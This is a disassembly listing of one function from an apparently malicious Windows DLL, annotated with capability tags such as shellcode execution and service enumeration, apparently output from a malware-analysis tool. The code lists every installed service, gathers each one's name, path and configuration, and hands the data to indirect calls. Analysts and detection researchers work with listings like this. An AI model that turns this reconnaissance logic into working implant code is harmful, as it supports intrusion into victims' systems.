Function at 0x18001747c
Capabilities:
Allocate or change rwx memory
Enumerate services
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x9f8]
sub rsp, 0xaf8
mov r12, qword [rcx]
xor edi, edi
mov qword [rsp + 0x68], r12
mov dword [rbp + 0xa40], edi
mov dword [rbp + 0xa50], edi
mov dword [rbp + 0xa48], edi
call fcn.180003698
xor edx, edx
mov qword [rbp + 0xa58], rax
xor ecx, ecx
mov r8d, 0xf003f
mov r14, rax
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov qword [rsp + 0x38], rdi
lea ebx, [rdi + 3]
mov r13, rax
lea r15d, [rdi + 0x30]
lea rax, [rbp + 0xa48]
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov r8d, ebx
lea rax, [rbp + 0xa40]
mov edx, r15d
mov qword [rsp + 0x28], rax
mov rcx, r13
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
mov edx, dword [rbp + 0xa40]
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.DLL_LocalAlloc]
mov rsi, rax
test rax, rax
je 0x180017997
mov qword [rsp + 0x38], rdi
lea rax, [rbp + 0xa48]
mov qword [rsp + 0x30], rax
mov r9, rsi
lea rax, [rbp + 0xa40]
mov r8d, ebx
mov qword [rsp + 0x28], rax
mov edx, r15d
mov eax, dword [rbp + 0xa40]
mov rcx, r13
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_EnumServicesStatusW]
mov r15d, edi
cmp dword [rbp + 0xa48], edi
jbe 0x1800178f1
xor edx, edx
lea rcx, [rbp - 0x30]
mov r8d, 0xa18
call sub.ntdll.dll_memset
mov eax, r15d
mov r8d, 0xf01ff
mov rcx, r13
lea rbx, [rax + rax*2]
add rbx, rbx
mov rdx, qword [rsi + rbx*8]
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov r12, rax
test rax, rax
je 0x1800178d5
mov rcx, qword [rsi + rbx*8]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, qword [rsi + rbx*8]
lea rcx, [rbp - 0x30]
mov r8d, 0xc8
lea eax, [rax*2 + 2]
cmp eax, 0xc8
ja 0x1800175d6
mov r8d, eax
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, qword [rsi + rbx*8 + 8]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, qword [rsi + rbx*8 + 8]
lea rcx, [rbp + 0x98]
mov r8d, 0x208
lea eax, [rax*2 + 2]
cmp eax, 0x208
ja 0x18001760a
mov r8d, eax
call qword [sym.imp.ntdll.dll_memcpy]
xor ecx, ecx
mov edx, 0x2000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov r14, rax
test rax, rax
je 0x1800178d5
lea rax, [rbp + 0xa50]
mov r9d, 0x2000
mov r8, r14
mov qword [rsp + 0x20], rax
mov edx, 1
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfig2W]
mov rcx, qword [r14]
test rcx, rcx
je 0x18001768a
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, qword [r14]
mov ecx, 0x400
mov r8d, ecx
lea eax, [rax*2 + 2]
cmp eax, ecx
ja 0x18001767d
mov r8d, eax
lea rcx, [rbp + 0x2a0]
call qword [sym.imp.ntdll.dll_memcpy]
mov ecx, dword [rsi + rbx*8 + 0x14]
xor eax, eax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
sub ecx, 1
je 0x180017709
sub ecx, 1
je 0x180017700
sub ecx, 1
je 0x1800176f7
sub ecx, 1
je 0x1800176ee
sub ecx, 1
je 0x1800176e5
sub ecx, 1
je 0x1800176dc
cmp ecx, 1
lea rcx, [rsp + 0x40]
je 0x1800176d3
lea rdx, [0x180058a18]
jmp 0x180017715
lea rdx, [0x1800589e8]
jmp 0x180017715
lea rdx, [0x1800589e0]
jmp 0x180017710
lea rdx, [0x1800589d4]
jmp 0x180017710
lea rdx, [0x1800589f0]
jmp 0x180017710
lea rdx, str.Pbk_N
jmp 0x180017710
lea rdx, str.ck_W
jmp 0x180017710
lea rdx, str.Pbk
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov r8d, 0x28
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x6a0]
call qword [sym.imp.ntdll.dll_memcpy]
mov ebx, 0x2000
mov r9d, 4
mov edx, ebx
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov rdi, rax
test rax, rax
je 0x1800178d3
lea r9, [rbp + 0xa50]
mov r8d, ebx
mov rdx, rax
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
xor eax, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x70], rax
movups xmmword [rbp - 0x80], xmm0
mov eax, dword [rdi + 4]
test eax, eax
je 0x1800177cf
sub eax, 1
je 0x1800177c6
sub eax, 1
je 0x1800177bd
sub eax, 1
je 0x1800177b4
lea rcx, [rsp + 0x70]
cmp eax, 1
je 0x1800177ab
lea rdx, [0x180058a18]
jmp 0x1800177db
lea rdx, [0x180058a48]
jmp 0x1800177db
lea rdx, [0x180058a38]
jmp 0x1800177d6
lea rdx, str.R_T
jmp 0x1800177d6
lea rdx, [0x180058a58]
jmp 0x1800177d6
lea rdx, [0x180058a2c]
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
mov r8d, 0x28
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x6c8]
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, qword [rdi + 0x30]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, qword [rdi + 0x30]
lea rcx, [rbp + 0x6f0]
mov r8d, 0xc8
lea eax, [rax*2 + 2]
cmp eax, r8d
ja 0x180017823
mov r8d, eax
call qword [sym.imp.ntdll.dll_memcpy]
cmp dword [rdi], 0x100
lea rax, [0x180057e44]
lea rbx, [0x180058a64]
cmovb rbx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, rbx
lea rcx, [rbp + 0x7b8]
lea r8d, [rax*2 + 2]
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rdx, qword [rdi + 0x10]
lea rcx, [rbp + 0x7e0]
mov r8d, 0x208
lea eax, [rax*2 + 2]
cmp eax, r8d
ja 0x18001788c
mov r8d, eax
call qword [sym.imp.ntdll.dll_memcpy]
mov rcx, r12
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rax, qword [rbp + 0xa58]
lea rdx, [rbp - 0x30]
mov r8d, 0xa18
mov rcx, rax
call qword [rax + 0x28]
mov ebx, 0x8000
xor edx, edx
mov r8d, ebx
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
mov r8d, ebx
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_VirtualFree]
xor edi, edi
inc r15d
cmp r15d, dword [rbp + 0xa48]
jb 0x180017573
mov r14, qword [rbp + 0xa58]
mov r12, qword [rsp + 0x68]
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_LocalFree]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x48], xmm0
mov qword [rbp - 0x38], rax
mov rcx, r14
mov dword [rbp - 0x34], 0x2072024
mov dword [rbp - 0x44], 0x6000
movups xmmword [rbp - 0x68], xmm0
movups xmmword [rbp - 0x58], xmm0
call qword [r14 + 0x30]
mov dword [rbp - 0x40], eax
mov dword [rbp - 0x38], edi
call fcn.180003698
mov r8d, gethostname
lea rdx, [rbp - 0x68]
mov rcx, rax
mov rdi, rax
call qword [rax + 0x28]
mov rcx, r14
call qword [r14 + 0x30]
xor edx, edx
mov rcx, r14
mov ebx, eax
call qword [r14 + gethostname]
mov r8d, ebx
mov rcx, rdi
mov rdx, rax
call qword [rdi + 0x28]
mov rcx, rdi
call qword [rdi + 0x30]
xor edx, edx
mov rcx, rdi
mov ebx, eax
call qword [rdi + gethostname]
mov r8d, ebx
mov rcx, r12
mov rdx, rax
call qword [r12 + gethostbyname]
mov rcx, r14
call fcn.1800037c0
mov rcx, rdi
call fcn.1800037c0
xor eax, eax
add rsp, 0xaf8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret